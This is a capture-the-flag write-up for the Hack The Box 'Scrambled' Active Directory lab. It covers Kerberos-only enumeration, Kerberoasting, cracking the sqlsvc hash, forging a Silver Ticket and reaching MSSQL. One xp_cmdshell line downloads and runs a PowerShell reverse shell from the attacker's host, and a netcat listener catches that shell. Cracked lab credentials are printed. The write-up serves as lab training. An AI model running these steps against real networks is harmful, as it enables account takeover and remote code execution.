Kerberos-Only-Box

htb-scrambled-linux

NTLM is disabled on the domain, so we have to use Kerberos authentication ( excellent for learning! )

 

Reconnaissance

Port scan

nmap

nmap finds many TCP ports:

nmap -p- --min-rate 10000 10.10.11.168

It is an Active Directory (AD) domain, so the machine is Windows Server. There are also a web server on port 80, SMB server on port 445, MSSQL server on port 1433 and some strange application on port 4411. Let’s start by enumerating a web application.

It can be useful to append domain and domain controller addresses to /etc/hosts

10.10.11.168 scrambled.htb scrm.local dc1.scrm.local

Foothold

Web application

There are Home and IT Services pages available. There is nothing interesting in Home page. In IT Services page we can see that NTLM authentication is disabled on the domain.

NTLM is disabled

Also, we can see some Resources pages. They are very interesting for us. On the Contacting IT support page we can see a screenshot of ksimpson user desktop. We can note a domain username from it.

ksimpson username

On Sales Orders App Troubleshooting page we can see some custom application is here, but we can not find it from this step.

Sales order client

On Password Resets page we can note that when the user wants to reset his password. It is becoming to be same as the username.

Password reset policy

UsernamesEnum ( not needed but working )

./kerbrute_linux_amd64 userenum -d scrm.local --dc 10.10.11.168 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

 

user.txt

Use Kerberos authentication

We’ve noted that NTLM is disabled on the domain, so we have to use Kerberos authentication. Kerberos is based on the tickets. But to request these tickets we have to specify the username and the password. The most useful tools are made in impacket scripts.

Because NTLM authentication is disabled, I won’t be able to use many of the standard tools here, and I won’t be able to access any service by IP address if it requires authentication.

smbclient won’t work, and I wasn’t able to get crackmapexec to work either.

The Impactet script, smbclient.py (sometimes installed as impacket-smbclient) will work, using the -k option for Kerberos auth.

ldapsearch

Now that we have a calculated hash we need to connect to LDAP over kerberos to retrieve the domain sid.

First, connect to the domain controller on port 636 using open ssl to retrieve the certificate.

openssl s_client -connect dc1.scrm.local:636

.

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ openssl s_client -connect dc1.scrm.local:636
Connecting to 10.10.11.168
CONNECTED(00000003)
depth=0 
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 
verify return:1
---
Certificate chain
 0 s:
   i:DC=local, DC=scrm, CN=scrm-DC1-CA
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA1
   v:NotBefore: Sep  4 11:14:45 2024 GMT; NotAfter: Jun  8 22:39:53 2121 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFtzCCBJ+gAwIBAgITEgAAAAWd33nJkSGX4QAAAAAABTANBgkqhkiG9w0BAQUF
ADBDMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFDASBgoJkiaJk/IsZAEZFgRzY3Jt
MRQwEgYDVQQDEwtzY3JtLURDMS1DQTAgFw0yNDA5MDQxMTE0NDVaGA8yMTIxMDYw
ODIyMzk1M1owADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL7APeOI
QpFcy0JhCXiFe+YukkzyogwrXQG4jwuUqVtnzI0qKsJ2HKdvOLp5W+Fc4RwFdNMU
q3cVCiwRMDdgsZbDull+e8s8kNmdBNNqcaHFwKXYbdWiXR2aBysPf9Gzs3iWllhs
Ja1ihbrArixe2471/rjohLiz8VVssVQqUm8KjcO/jRFOLd2y1MtQPoOhTQtDasFT
SceuhHLAe7RHygnndnyo2Sb+O0Neaeq0YDdc9zU5yjGilpJUYKYB36z32IOfEdJ8
OJr1iqg9oFZ0KKqskm5YT6PhFZFwpSAn4Re8xTfBOglopFn/mEBTh7ibLXL25K5/
H4ve2hiQIPsD0rECAwEAAaOCAuMwggLfMDYGCSsGAQQBgjcVBwQpMCcGHysGAQQB
gjcVCIaj2B2B69kvgd2ZGYSm9EaL4D9SARwCAW4CAQIwKQYDVR0lBCIwIAYIKwYB
BQUHAwIGCCsGAQUFBwMBBgorBgEEAYI3FAICMA4GA1UdDwEB/wQEAwIFoDA1Bgkr
BgEEAYI3FQoEKDAmMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMAwGCisGAQQBgjcU
AgIwHQYDVR0OBBYEFBRGx6zDOGOtjPPvaoLO36fByJ5LMB8GA1UdIwQYMBaAFAhp
QhkKLZ9wcDY0RhznHYYVm2iSMIHEBgNVHR8EgbwwgbkwgbaggbOggbCGga1sZGFw
Oi8vL0NOPXNjcm0tREMxLUNBLENOPURDMSxDTj1DRFAsQ049UHVibGljJTIwS2V5
JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zY3Jt
LERDPWxvY2FsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RD
bGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBvAYIKwYBBQUHAQEEga8wgawwgakG
CCsGAQUFBzAChoGcbGRhcDovLy9DTj1zY3JtLURDMS1DQSxDTj1BSUEsQ049UHVi
bGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlv
bixEQz1zY3JtLERDPWxvY2FsP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MBwGA1UdEQEB/wQSMBCCDkRDMS5zY3Jt
LmxvY2FsME8GCSsGAQQBgjcZAgRCMECgPgYKKwYBBAGCNxkCAaAwBC5TLTEtNS0y
MS0yNzQzMjA3MDQ1LTE4Mjc4MzExMDUtMjU0MjUyMzIwMC0xMDAwMA0GCSqGSIb3
DQEBBQUAA4IBAQCecGFCSZW5yaXkTpXR5b09rpGBFyLSOJeS0Hv1LBmeN040mUXr
9wydqlVd1jPt2HbiMA07ftoR3LnCZYEOppSK+yX4GePev04aFRbFAunUDPvzC1FI
0Tqrh9/DSW0Zuqsmp6k34B5MSiYYfgSqtF4qdYQ4FyuxqoBft89+C+T65e5Io6Yu
BAdyMGJqohUMGPxk3hzRQV5MqikqS/Ffj27YnqbBXivAr0W1RkytDHdsdqus9iNr
EdMfkFzdSxBppaS59c+x289sotNYT0gTywBX86QDyP+TEFZgPqX5pQVuazo1HOyC
41E5cc4R5EyAhM/olViiJa5w/LrKFa7oEgec
-----END CERTIFICATE-----
subject=
issuer=DC=local, DC=scrm, CN=scrm-DC1-CA

.

You can copy the above output and save it into a pem file. I called mine ldap_certificate.pem. Next you will need to modify your ldap.conf file in /etc/ldap/ and point it to the pem file you created.

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ cat /etc/ldap/ldap.conf 
#
# LDAP Defaults
#

# See ldap.conf(5) for details
# This file should be world readable but not world writable.

#BASE	dc=example,dc=com
#URI	ldap://ldap.example.com ldap://ldap-provider.example.com:666

#SIZELIMIT	12
#TIMELIMIT	15
#DEREF		never

# TLS certificates (needed for GnuTLS)
#TLS_CACERT	/etc/ssl/certs/ca-certificates.crt
TLS_CACERT      /home/puck/htb/scrambled/ldap_certificate.pem

.

Once this is done you should be able to query ldap without issue with the following command and pull all accounts:

 

 

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ ldapsearch -H ldap://dc1.scrm.local -x -s base namingcontexts 
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=scrm,DC=local
namingcontexts: CN=Configuration,DC=scrm,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=scrm,DC=local
namingcontexts: DC=DomainDnsZones,DC=scrm,DC=local
namingcontexts: DC=ForestDnsZones,DC=scrm,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
                                                                                                                     
┌──(puck㉿kali)-[~/htb/scrambled]

and then

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ ldapsearch -H ldap://dc1.scrm.local -Z -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)" > allldap.txt

more to follow…..

 

 

Creds

Given the one username I’ve identified so far (ksimpson), and the note that sometimes passwords are reset to be the username, I’ll try that over SMB, and it works:

puck@kali$ impacket-smbclient -k scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip dc1.scrm.local
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

Type help for list of commands
#shares

Most ksimpson can't access

#help gives the commands:

There’s a single document in Public:

# use public
# ls
drw-rw-rw-          0  Thu Nov  4 22:23:19 2021 .
drw-rw-rw-          0  Thu Nov  4 22:23:19 2021 ..
-rw-rw-rw-     630106  Fri Nov  5 17:45:07 2021 Network Security Changes.pdf
# get Network Security Changes.pdf

 

.

This mentions again that NTLM is disabled because of an NTLM relay attack, and now everything is done via Kerberos. It also mentions that the SQL database has had access removed from the HR department

.


 

Let’s suppose that the ksimpson user has the same password as its username. To request a ticket we have to use getTGT.py impacket script. To use it we have to export it in our environment variable KRB5CCNAME.

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ impacket-getTGT scrm.local/ksimpson:ksimpson -dc-ip 10.10.11.168
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in ksimpson.ccache
                                                                                                                     
┌──(puck㉿kali)-[~/htb/scrambled]
└─$ export KRB5CCNAME=ksimpson.ccache 
                                                                                                                     
┌──(puck㉿kali)-[~/htb/scrambled]
└─$ klist
Ticket cache: FILE:ksimpson.ccache
Default principal: ksimpson@SCRM.LOCAL

Valid starting       Expires              Service principal
03/26/2025 09:17:27  03/26/2025 19:17:27  krbtgt/SCRM.LOCAL@SCRM.LOCAL
    renew until 03/27/2025 09:17:27

Kerberoasting attack

Our next step is to perform some basic checks like Kerberoasting on the user we’ve found. Kerberoasting can be performed to harvest Ticket Granting Service (TGS) tickets for services that run on behalf of user accounts in the AD. In AD every service has its own User Account. So, when we request a TGS, it is encrypted with the service password and we can crack it offline.

We will use GetUserSPNs.py impacket script here. We have to specify that we want to user Kerberos authentication with -k-no-pass flags. Also, if something would be found here, we specify a request flag to get services hashes.

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Getting machine hostname
[-] The SMB request is not supported. Probably NTLM is disabled. Try to specify corresponding NetBIOS name or FQDN as the value of the -dc-host option

Note: At the time of writing there is a bug with the Impacket GetUserSPNs script which causes it to fail
when used against a domain that has NTLM authentication disabled even though we instruct it to use
Kerberos authentication. For the script to work properly, you have to apply the patch mentioned here

I fixxed this with

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ python3 -m venv venv
                                                                                                                     
┌──(puck㉿kali)-[~/htb/scrambled]
└─$ source venv/bin/activate
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled]
└─$ git clone https://github.com/ShutdownRepo/impacket.git
Cloning into 'impacket'...
remote: Enumerating objects: 24174, done.
remote: Total 24174 (delta 0), reused 0 (delta 0), pack-reused 24174 (from 1)
Receiving objects: 100% (24174/24174), 8.82 MiB | 11.29 MiB/s, done.
Resolving deltas: 100% (18566/18566), done.
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled]
└─$ cd impacket 
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket]
└─$ pip3 install -r requirements.txt
Ignoring pyreadline: markers 'sys_platform == "win32"' don't match your environment
--snip--
itsdangerous-2.2.0 ldap3-2.9.1 ldapdomaindump-0.9.4 pyOpenSSL-25.0.0 pyasn1-0.6.1 pycparser-2.22 pycryptodomex-3.22.0 six-1.17.0 typing-extensions-4.13.0
                                                             
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket]
└─$ cd examples 
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket/examples]
└─$ ls
addcomputer.py     getArch.py          lookupsid.py          ping6.py          samrdump.py     ticketConverter.py
atexec.py          Get-GPPPassword.py  machine_role.py       ping.py           secretsdump.py  ticketer.py
changepasswd.py    GetNPUsers.py       mimikatz.py           psexec.py         services.py     tstool.py
dcomexec.py        getPac.py           mqtt_check.py         raiseChild.py     smbclient.py    wmiexec.py
describeTicket.py  getST.py            mssqlclient.py        rbcd.py           smbexec.py      wmipersist.py
dpapi.py           getTGT.py           mssqlinstance.py      rdp_check.py      smbpasswd.py    wmiquery.py
DumpNTLMInfo.py    GetUserSPNs.py      net.py                registry-read.py  smbrelayx.py
esentutl.py        goldenPac.py        netview.py            reg.py            smbserver.py
exchanger.py       karmaSMB.py         nmapAnswerMachine.py  rpcdump.py        sniffer.py
findDelegation.py  keylistattack.py    ntfs-read.py          rpcmap.py         sniff.py
GetADUsers.py      kintercept.py       ntlmrelayx.py         sambaPipe.py      split.py
                                                              
                                                                                                                    
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket/examples]
└─$ cp GetUserSPNs.py ..                                  
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket/examples]
└─$ cd ..               
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket]
└─$ ls
ChangeLog.md  examples        impacket  MANIFEST.in  requirements-test.txt  SECURITY.md  TESTING.md  tox.ini
Dockerfile    GetUserSPNs.py  LICENSE   README.md    requirements.txt       setup.py     tests
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket]
└─$  python3 GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k

Cannot determine Impacket version. If running from source you should at least run "python setup.py egg_info"
Impacket v? - Copyright 2023 Fortra

[*] Getting machine hostname
[-] The SMB request is not supported. Probably NTLM is disabled. Try to specify corresponding NetBIOS name or FQDN as the value of the -dc-host option
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket]
└─$ vi GetUserSPNs.py 
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket]
└─$ python3 GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k

Cannot determine Impacket version. If running from source you should at least run "python setup.py egg_info"
Impacket v? - Copyright 2023 Fortra

[*] Getting machine hostname
[-] 'NoneType' object is not callable
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket]
└─$ vi GetUserSPNs.py                                                                    
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket]
└─$ python3 GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k

Cannot determine Impacket version. If running from source you should at least run "python setup.py egg_info"
Impacket v? - Copyright 2023 Fortra

[*] Getting machine hostname
[-] CCache file is not found. Skipping...
[-] CCache file is not found. Skipping...
ServicePrincipalName          Name    MemberOf  PasswordLastSet             LastLogon                   Delegation 
----------------------------  ------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/dc1.scrm.local:1433  sqlsvc            2021-11-03 17:32:02.351452  2025-03-26 08:48:06.184493             
MSSQLSvc/dc1.scrm.local       sqlsvc            2021-11-03 17:32:02.351452  2025-03-26 08:48:06.184493             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$9ac5f73e13507b70b1e6ed5e584487b9$5135ce661335dc47035aae4df203e455482d7641fe0c4115042322c9eeb7e709b7d0c5343612312c5f2328723d4800e9cb9cc1f7ea73fe3b6cb1b57c2d306cc893f2136de37050cf80df182b9523b195d76b7647e99915b35863447365709118c5213d12a90425df5ed78ebdc6a13bdeff6b556311e22088756a8f4610402c37dce00b3ab0d6bb5671bfde8adc563f9cfb3cf133e701914c691be9d3045d9de03a521ce7ad7fba1889d3b93676a58d9538d02b6c926172f68d25e91790f912978fecf37295ec149919bb897283d823356b65cbc2993033a974e5973c351a835a77aec193a9d9ad673baeee0687b6eef13330a1853bd8fd849e87394e5c38b8b44b1482e68cfaed6418715226deb6a07d27c138a02cb5596b5fee50f2f4b5954911a424d4a7a0efd1d674ec43912d83bf912bc0ee8943347da9249a98669432f291283ad3f57044b6abcb26a7c46e4319fc44d9266f1b6b50d7ff636d9aefde1fb2f62beeb70c02c97ec47d1d8bd4680575bbf420eeaf9a59784c68fbb1c6161268701587c957418d982beb007ad41aaedf3558e06f6cd149ec7067d7809ad27702a4a588c3c5fafea04afe8a3d69c0565d58d99c131fa66ad1347292955a8a6885fe477862f05eaa41297d857f48d08f7a12aff88787568070fceb8e433cce4bf5f5ea1eaff3abc9f7cb75c4375cbb5af67d97d58271bb141ab21941fb262d4b1de6eb20cd624551b1d324d48e8ee73d870dbaee1b900fe4958faad1cb790e2607aee226fd6ad9c94c5592049ac373d32b34ca9ec4da590796ddba8b7d506a462b4201ecc8d8ad15da1ebaebf6383c8746c1543dc47a9acbb38689ad7cb724b5fdd33ebbb1f5b5297e85bdcb0a19210dffdc3de98c3554f4570ff9c24333f3954c107d26733da0a326549908f83d3b43008391d32a56cf9b0150a64ba222fb8a2e17b91436980678731ebc11d281ee54e81a73a5de36a619c80dcf2e6417182a0352534083c0827d5ac5549bc0768f9da30cd80d4e366f15858d4ee3603a97c4b484a84c5e23f674fc225344c9b2db0af63be0b368f984273297e4aa728b404bd30ffc7fd5917ce1bd52f47c5dacaf8cdd13c78743e1ff0d1f8443b0de259ac07edf20d9f8aad23f4386fadfd8fd685ba30a2c603d0da1b7a9014b13e6c4df9e28999c804dc85453cd7e0b7b14f04eae8372d5515bce333f74cf29175bf0aafda1b099376abdba9aebccbe4399e86d0a655dafc02c713d8566166b2a5acc761706efe642b92b5f77b5d03f0af04d83e4ea298613692ba3f2ab28431efd8c009a62a1bce939d5e715d44234846001863484c524bfaa2c24aa72b6b6cf896c84dd37a9df090eea7ca82ce1848a1d6952d0e68eea6aab84a1f865ff3f9eb0ab89c1594b5a7ddd7e61f3fe6604842f0a4b1b55d481a91beff5d082c962
                                                                                                                     
┌──(venv)─(puck㉿kali)-[~/htb/scrambled/impacket]
└─$ 

.

Basicly the working  GetUserSPNs.py  contains  on line 266 like below : target = self.__kdcHost

if self.__doKerberos:
logging.info(‘Getting machine hostname’)
target = self.__kdcHost

# Connect to LDAP


We’ve got a Kerberos 5, etype 23, TGS-REP hash here. It is associated with the user sqlsvc, which is running MSSQL server. We can crack it with JohnTheRipper tool.

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt sqlsvc.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Pegasus60        (?)     
1g 0:00:00:03 DONE (2025-03-26 11:06) 0.2695g/s 2892Kp/s 2892Kc/s 2892KC/s Petergrant..Pearce
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

it cracks as Pegasus60

Reverse shell with MSSQL

Our next step is to connect to the MSSQL. But we have to generate a ticket for the service, we can use impacket’s ticketer.py script. But we have to get a Domain SID to do it. And there is impacket again with getPac.py script.

MSSQL Access

Silver Ticket Background

These creds don’t actually directly allow access to anything new for me. But because this account is running the SQL service, I can use the password to perform a Silver Ticket attack. The overview linked there from adsecurity.org is really good. A Silver Ticket is a forged TGS (Ticket Granting Service) ticket, which is used directly between the client and the service, without necessarily going to the DC. Instead, the TGS ticket is signed by the service account itself, and thus the Silver Ticket is limited to authenticating only the service itself.

To create a Silver Ticket, an attacker needs:

  1. The NTLM hash of the password for the service account;
  2. The SID of the domain
  3. The service principle name (SPN) associated with the account.

I already acquired the SPN with GetUserSPNS.py above, MSSQLSvc/dc1.scrm.local:1433.

Generate NTLM

To get an NTLM hash of the password “Pegasus60”, I’ll use the commands from this post:

puck@kali$ iconv -f ASCII -t UTF-16LE <(printf "Pegasus60") | openssl dgst -md4
(stdin)= b999a16500b87d17ec7f2e2a68778f05

CrackStation will verify that:

 

Domain SID

A way to get the domain SID is with the getPac.py script from Impacket. This script is meant to get the Privilege Attribute Certificate for any user, which just requires auth as an user on the domain. I’ll give it the creds for ksimpson and ask about the administrator:

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ impacket-getPac -targetUser administrator scrm.local/ksimpson:ksimpson 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

KERB_VALIDATION_INFO 
LogonTime:                      
    dwLowDateTime:                   1423239250 
    dwHighDateTime:                  31170083 
LogoffTime:                     
--snip--
        Attributes:                      536870919 ,
    ] 
Domain SID: S-1-5-21-2743207045-1827831105-2542523200

                                                                                                                      
┌──(puck㉿kali)-[~/htb/scrambled]

There’s a ton of information about the account, but for my current purposes, the last item (before this ranom-looking hex at the end) is the domain SID.

Generate Ticket

ticketer.py (or impacket-ticketer) will generate a ticket using the information gathered:

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ impacket-ticketer -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 administrator 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for scrm.local/administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in administrator.ccache
                                                                                                                     
┌──(puck㉿kali)-[~/htb/scrambled]

The output file is administrator.ccache, which is a kerberos ticket as administrator that only the MSSQL service will trust.

Connect

On Linux, Kerberos looks in predefined places for tickets, like /tmp/krb5cc_[uid of current user] and any file pointed to by the KRB5CCACHE environment variable. If I just run klist, it will fail to find the new ticket:

puck@kali$ klist 
klist: No credentials cache found (filename: /tmp/krb5cc_1000)

If I have the env variable point to the file from ticketer.py, it shows information about the ticket:

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ KRB5CCNAME=administrator.ccache klist
Ticket cache: FILE:administrator.ccache
Default principal: administrator@SCRM.LOCAL

Valid starting       Expires              Service principal
03/26/2025 11:34:50  03/24/2035 11:34:50  MSSQLSvc/dc1.scrm.local:1433@SCRM.LOCAL
    renew until 03/24/2035 11:34:50

Using that same method, mssqlclient.py can connect to the DB using the ticket:

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ KRB5CCNAME=administrator.ccache impacket-mssqlclient -k dc1.scrm.local 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (SCRM\administrator  dbo@master)> 

.

MSSQL Enumeration

It is designed to get a Remote Code Execution (RCE) on the server. So our next step is to get a reverse shell. I’ve made a payload in .ps1 file on my local machine. So the reverse shell will be downloaded from my machine and executed. I’ve chosen a PowerShell #3 (Base64) payload from Reverse Shell Generator. We have to save it to file.
enable_xp_cmdshell

xp_cmdshell powershell IEX(New-Object Net.webclient).downloadString(\"http://10.10.14.4:8000/shell.ps1\")

.

 

Dump MSSQL database

The sqlsvc hasn’t got a user.txt flag, so we have to enumerate other user. We can dump the MSSQL datavase with PowerUpSQL.ps1 script. We can upload it on the machine with PowerShell’s wget, it is an alias for Invoke-WebRequest command. We have to specify the address and the output file here.

┌──(puck㉿kali)-[~/htb/scrambled]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.168] 54654
whoami
scrm\sqlsvc
PS C:\Windows\system32> 

.

PS c:\programdata\wget -Uri "http://<IP>:<PORT>/PowerUpSQL.ps1" -OutFile PowerUpSQL.ps1

It is a very powerful tool, you can use the cheatsheet to get some useful commands.

Our next step is to import the tool and dump some info about the databases. We can do it with Invoke-SQLDumpInfo cmdlet.

PS c:\programdata\. .\PowerUpSQL.ps1
PS c:\programdata\Invoke-SQLDumpInfo -Verbose -Instance DC1

It will give a big output in a csv format. Our scope is databases and their tables here. The databases info is stored in <COMPUTER NAME>_Databases.csv file.

The database is ScrambleHR. Let’s see the tables and their columns. They are located in <COMPUTER NAME>_Database_columns.csv file.

PS C:\programdata> type DC1_Database_tables.csv
"ComputerName","Instance","DatabaseName","SchemaName","TableName","TableType","is_ms_shipped","is_published","is_schema_published","create_date","modified_date"
"DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35"
"DC1","DC1","ScrambleHR","dbo","Timesheets","BASE TABLE","False","False","False","03/11/2021 17:56:33","03/11/2021 17:56:33"
"DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43"
PS C:\programdata> type DC1_Database_columns.csv
"ComputerName","Instance","DatabaseName","SchemaName","TableName","TableType","ColumnName","ColumnDataType","ColumnMaxLength","is_ms_shipped","is_published","is_schema_published","create_date","modified_date"
"DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","EmployeeID","int","","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35"
"DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","FirstName","nvarchar","50","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35"
"DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","Surname","nvarchar","50","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35"
"DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","Title","nchar","10","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35"
"DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","Manager","nvarchar","50","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35"
"DC1","DC1","ScrambleHR","dbo","Employees","BASE TABLE","Role","nvarchar","50","False","False","False","03/11/2021 17:48:35","03/11/2021 17:48:35"
"DC1","DC1","ScrambleHR","dbo","Timesheets","BASE TABLE","EmployeeID","int","","False","False","False","03/11/2021 17:56:33","03/11/2021 17:56:33"
"DC1","DC1","ScrambleHR","dbo","Timesheets","BASE TABLE","TimeStart","datetime","","False","False","False","03/11/2021 17:56:33","03/11/2021 17:56:33"
"DC1","DC1","ScrambleHR","dbo","Timesheets","BASE TABLE","TimeEnd","datetime","","False","False","False","03/11/2021 17:56:33","03/11/2021 17:56:33"
"DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","LdapUser","nvarchar","50","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43"
"DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","LdapPwd","nvarchar","50","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43"
"DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","LdapDomain","nvarchar","50","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43"
"DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","RefreshInterval","int","","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43"
"DC1","DC1","ScrambleHR","dbo","UserImport","BASE TABLE","IncludeGroups","bit","","False","False","False","03/11/2021 17:52:09","03/11/2021 19:00:43"
PS C:\programdata> 

 

The most interesting here is UserImport table with possible credentials in. We can dump the table with Get-SQLQuery cmdlet.

PS C:\programdata> Get-SQLQuery -Verbose -Instance DC1 -Query "SELECT * FROM ScrambleHR.dbo.UserImport"


LdapUser        : MiscSvc
LdapPwd         : ScrambledEggs9900
LdapDomain      : scrm.local
RefreshInterval : 90
IncludeGroups   : False



PS C:\programdata>

And we’ve got some credentials. Now we can authenticate as miscsvc user in our powershell session. I did a reverse shell as miscsvc user here.

1
2
3
4
$password = ConvertTo-SecureString "<miscsvc password>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("scrm.local\miscsvc", $password)
$sess = New-PSSession -Credential $cred -ComputerName DC1
Invoke-Command -Session $sess -ScriptBlock {powershell -e <Base64 encoded payload>}

Got user!

But I’ve decided to get more coolr

PS Session

Configure Realm

I’ll need to add this domain to my local /etc/krb5.conf file:

[libdefaults]
        default_realm = SCRM.LOCAL
# The following libdefaults parameters are only for Heimdal Kerberos.
        fcc-mit-ticketflags = true

[realms]
        SCRM.LOCAL = {
                kdc = dc1.scrm.local
                admin_server = dc1.scrm.local
        }

[domain_realm]

Update PowerShell

I can’t use evil-winrm here, but I can use pwsh on Linux, as installed by these instructions. Even then, I’ll have some issues using a PSSession:

puck@kali$ pwsh                                                    
PowerShell 7.2.4                                
Copyright (c) Microsoft Corporation.                

https://aka.ms/powershell
Type 'help' to get help.

PS /> Enter-PSSession dc1.scrm.local -Credential MiscSvc

PowerShell credential request
Enter your credentials.
Password for user MiscSvc: *****************

Enter-PSSession: MI_RESULT_ACCESS_DENIED

I’ll need to enter pwsh as root and install the Open Management Infrastructure – PowerShell Edition:

puck@kali$ sudo pwsh
PowerShell 7.2.4
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /> Install-Module -Name PSWSMan -Scope AllUsers

Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the modules from 'PSGallery'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A
PS /> Install-WSMan
